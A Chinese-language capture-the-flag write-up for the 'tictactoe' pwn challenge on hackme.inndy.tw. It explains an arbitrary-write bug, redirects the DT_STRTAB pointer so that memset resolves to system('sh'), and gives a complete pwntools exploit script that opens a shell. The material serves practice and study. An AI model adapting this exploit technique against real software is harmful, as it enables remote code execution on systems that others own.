这题跟tictactoe-1一样,只不过要getshell,但是漏洞还是一样的,可以任意地址写
我们可以先修改0x0804B048处的值让我们可以进行9次任意地址写
这里有个小细节,由于程序开始会调用.init_array里的函数 结束会调用.fini_array里的,我们发现.init_array有个sub_80486AB函数,大概就是让0x804A000-0x804B000地址段的内容可读可写,观察这个地址段的内容,我们发现存的是DT_SYMTAB之类的地址,所以我们可以用ret2dl_solve来做
这里主要修改DT_STRTAB的地址,再将0x0804B048地址处的内容写成'/bin/sh\x00',当执行到memset的时候去执行system('/bin/sh\x00')来getshell
我们将原本存放DT_STRTAB地址的地方修改成距离system字符串68处,这样当执行memset函数去DT_STRTAB查找memset时就会运行system函数
gef➤ x/10wx 0x0804AF58
0x804af58: 0x080482f8 0x00000006 0x080481d8 0x0000000a
0x804af68: 0x000000bc 0x0000000b 0x00000010 0x00000015
0x804af78: 0xf77c7904 0x00000003
gef➤ x/s 0x080482f8+68
0x804833c: "memset"
gef➤ x/s 0x8049fc8 + 68
0x804a00c: "system"
当我们写system函数的参数时,要注意这里每次都会取反,所以我们在第奇数次的时候来进行参数的改写,这样最后我们的参数就还是我们输入时候的参数
完整exp:
from pwn import *
p = process('./tictactoe')
#p = remote('hackme.inndy.tw',7714)
elf = ELF('./tictactoe')
#context.log_level = 'debug'
def write(addr,val):
p.sendlineafter('flavor): ','9')
p.sendline(val)
offset = addr - 0x804B056
p.sendlineafter('flavor): ',str(offset))
p.sendlineafter('(2)nd? ','1')
strtab_addr = 0x0804AF58
sh_addr = 0x0804B048
bss = 0x0804B069
#system - 68 = 0x8049fc8
#sh = '\x73\x68'
#gdb.attach(p,'b *' + str(0x08048D03))
#raw_input("go : ")
write(0x0804B048,'\x50') #control write #0
write(sh_addr,'\x73') #1
write(strtab_addr,'\xc8') #2
write(sh_addr+1,'\x68') #3
write(strtab_addr+1,'\x9f') #4
write(sh_addr+2,'\x00') #5
#填充9次写从而退出循环执行memset(&who_play, 0, 0x18u);
write(bss+0x100,'\x00') #6
write(sh_addr+3,'\x00') #7
write(bss+0x100,'\x00') #8
p.interactive()